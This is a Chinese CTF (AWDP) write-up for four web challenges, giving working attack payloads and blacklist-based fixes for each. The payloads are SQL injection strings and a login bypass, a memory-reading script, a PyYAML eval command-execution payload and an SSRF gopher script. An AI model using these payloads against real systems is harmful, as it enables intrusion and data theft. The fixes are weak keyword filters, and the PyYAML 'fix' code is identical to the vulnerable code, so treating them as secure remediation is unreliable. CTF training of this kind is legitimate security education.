第三届“华为杯”研究生网络安全决赛AWDP详细全解
学生管理系统
万能密码进入管理员页面
'admin or 1=1#
试了一些功能发现只有查询功能可以利用
抓包测试发现使用的是模糊匹配来查询
{"method":"queryAll","keyword":"郭心%'#"}
接下来就是sql注入
查询表名
{"method":"queryAll","keyword":"郭心%'union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3,4,5,6,7,8#"}
查询列名
{"method":"queryAll","keyword":"郭心%'union select (select group_concat(column_name) from information_schema.columns where table_name='flag'),2,3,4,5,6,7,8#"}
查询flag
{"method":"queryAll","keyword":"郭心%'union select (select flag from flag),2,3,4,5,6,7,8#"}
Fix
将sql注入的单双引号以及报错注入和常用关键词过滤掉
<?php
include '../bean/Res.php';
include '../utils/DbConnection.php';
include '../bean/Student.php';
include '../utils/uu.php';
class StudentDao{
/**
* LoginDao constructor.
*/
public function __construct(){
$this->con = DbConnection::getConnection();
}
/**
* 查询全部
* @return bool|void
*/
public function queryAll($param)
{
$sql = "select * from t_student";
$keyword = $param->keyword;
if(preg_match('/\'|\%|\"|\#|\*|select|and|union|extractvalue|value|sleep|from|select|table|\?/i', $keyword)){
die("WAF!!!Fuck!!!");
}
if ($keyword != "") {
$sql = "select * from t_student where username like '%".$keyword."%'";
}
$res = mysqli_query($this->con, $sql);
$ary = array();
if (!$res) {
die('查询失败' . mysqli_error($this->con));
} else {
while ($row = mysqli_fetch_array($res)) {
$student = new Student();
$student->setId($row['id']);
$student->setUsername($row['username']);
$student->setGender($row['gender']);
$student->setCollege($row['college']);
$student->setMajor($row['major']);
$student->setPhone($row['phone']);
$student->setDorm($row['dorm']);
$student->setStartdate($row['startdate']);
array_push($ary, $student);
}
return $ary;
}
}
/**
* 保存
* @param $param
*/
public function save($param){
$sql = "insert into t_student(username, gender, college, major, phone, dorm, startdate) values
('".$param->username."', '".$param->gender."', '".$param->college."', '".$param->major."',
'".$param->phone."', '".$param->dorm."', '".$param->startdate."')";
$res = mysqli_query($this->con, $sql);
return $res;
}
/**
* 更新
* @param $param
*/
public function update($param){
$sql = "update t_student set username='".$param->username."',
gender = '".$param->gender."',
college = '".$param->college."',
gender = '".$param->gender."',
major = '".$param->major."',
gender = '".$param->gender."',
phone = '".$param->phone."',
phone = '".$param->phone."',
dorm = '".$param->dorm."',
startdate = '".$param->startdate."'
where id = ".$param->id." ";
$res = mysqli_query($this->con, $sql);
}
/**
* 删除
* @param $param
*/
public function delete($param){
$sql = "delete from t_student where id = ".$param->id." ";
$res = mysqli_query($this->con, $sql);
}
}
登录页面也要加waf
<?php
include '../dao/LoginDao.php';
include '../bean/Res.php';
session_start();
header("Content-Type: application/json;charset=UTF-8");
// 从请求中获取原始数据
$json = file_get_contents('php://input');
// 将其转换为 PHP 对象
$data = json_decode($json);
//$param = json_encode($data);
$loginDao = new LoginDao();
if(preg_match('/\'|\%|\"|\#|\*|select|and|union|extractvalue|value|sleep|from|select|table|\?/i', $data->uname)){
die("WAF!!!Fuck!!!");
}
if(preg_match('/\'|\%|\"|\#|\*|select|and|union|extractvalue|value|sleep|from|select|table|\?/i', $data->upass)){
die("WAF!!!Fuck!!!");
}
$res = $loginDao->login($data->uname, $data->upass);
$result = new Res();
if($res){
$result->setSuccess(true);
$_SESSION['admin'] = true;
$result->setData("登录成功");
}else{
$result->setSuccess(false);
$result->setData("登录失败");
}
echo json_encode($result);
?>
ezpython
这题被非预期了,题目具有功能读取堆栈内存,我们可以直接读取相应地址即可
通过读内存我们可以直接读flag
import requests
import re
url = "http://localhost:30050/pprrhh"
map_list = requests.get(url + f"?maps=1")
map_list = map_list.text.split("\\n")
for i in map_list:
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+)", i)
if map_addr:
start = map_addr.group(1)
end = map_addr.group(2)
print("Found rw addr:", start, "-", end)
res = requests.get(f"{url}?start={start}&end={end}")
if "DASCTF" in res.text:
secret_key = re.findall(r"DASCTF\{[a-z0-9]+\}", res.text)
if secret_key:
print("Secret Key:", secret_key[0])
s_key = secret_key[0]
print(s_key)
break
PyYaml
有一个文件上传接口只能上传yaml文件
过滤了一些标签和模块
def black_list(s):
flag = False
blacklist = ["apply", "popen", "os", "subprocess", "!python"]
for no in blacklist:
if no.lower() in str(s).lower():
flag = True
print(no)
break
return flag
那么我还可以用new标签来命令执行
!!python/object/new:eval ["__import__('o'+'s').system('touch aa')"]
Fix
修复后的源代码如下过滤!python
即可
import os
import requests
from flask import Flask, request, render_template, jsonify, redirect
import yaml
import re
app = Flask(__name__)
def black_list(s):
flag = False
blacklist = ["apply", "popen", "os", "subprocess", "!python"]
for no in blacklist:
if no.lower() in str(s).lower():
flag = True
print(no)
break
return flag
file_pattern = re.compile(r".*\.yaml$")
def is_yaml_file(filename):
return bool(file_pattern.match(filename))
@app.route("/upload", methods=["POST"])
def upload_file():
try:
uploaded_file = request.files["file"]
if uploaded_file and is_yaml_file(uploaded_file.filename):
file_path = os.path.join("uploads/", uploaded_file.filename)
uploaded_file.save(file_path)
return (
jsonify(
{"message": "File uploaded successfully", "file_path": file_path}
),
200,
)
else:
return (
jsonify({"error": "Invalid file format. Please upload a YAML file."}),
400,
)
except Exception as e:
return jsonify({"error": str(e)}), 500
@app.route("/")
def check():
if request.args:
filename = request.args.get("filename")
with open(f"uploads/{filename}.yaml", "rb") as f:
file_content = f.read()
if not black_list(file_content):
test = yaml.load(file_content)
return render_template("index.html", test=test)
else:
return render_template(
"index.html",
test="File content contains dangerous keyword. This is not allowed.",
)
else:
return render_template("index.html")
@app.route("/delete")
def delete():
os.system("rm -rf uploads/*;rm -rf static/*")
return "delete successfully"
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
Inner
拿到源代码url.php
<?php
if (preg_match("/(127\.0\.0\.1)|(localhost)|(flag)|file|dict|com|ftp/i",$_REQUEST['url']))
{
die("you can't get flag");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$_REQUEST['url']);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$output = curl_exec($ch);
echo $output;
curl_close($ch);
?>
index.php
<?php
header("Location: url.php?url=https://www.baidu.com/");
if ($_SERVER['REMOTE_ADDR'] == "127.0.0.1") {
# flag in /flag
readfile($_POST['evil']);
}
if(md5($_GET["str"]) == '0') {
show_source("url.php");
}else{
show_source(__FILE__);
}
可以看出来ssrf漏洞,有gopher没被过滤那么我们用gopher来post传参拿到flag
写脚本传参
import urllib.parse
host = "0.0.0.0"
content = r"evil=%2f%66%6c%61%67a"
print(len(content))
content_length = len(content)-1
test ="""POST / HTTP/1.1
Host: {}
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
{}""".format(host,content_length,content)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
a="gopher://"+"0.0.0.0:80"+"/_"+new
result = urllib.parse.quote(a)
import requests
burp0_url = "http://localhost:8999/url.php?url="+result
res=requests.get(burp0_url)
print(res.text)
我们通过url编码绕过flag关键字,所以传参的应该为编码过的flag
注意:需要添加一位无用数据,然后post数据长度-1保证报文正确
Fix
修复的话可以增加关键词过滤
<?php
if (preg_match("/(127\.0\.0\.1)|(localhost)|(flag)|file|dict|com|ftp|gopher/i",$_REQUEST['url']))
{
die("you can't get flag");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$_REQUEST['url']);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$output = curl_exec($ch);
echo $output;
curl_close($ch);
?>
0 条评论
可输入 255 字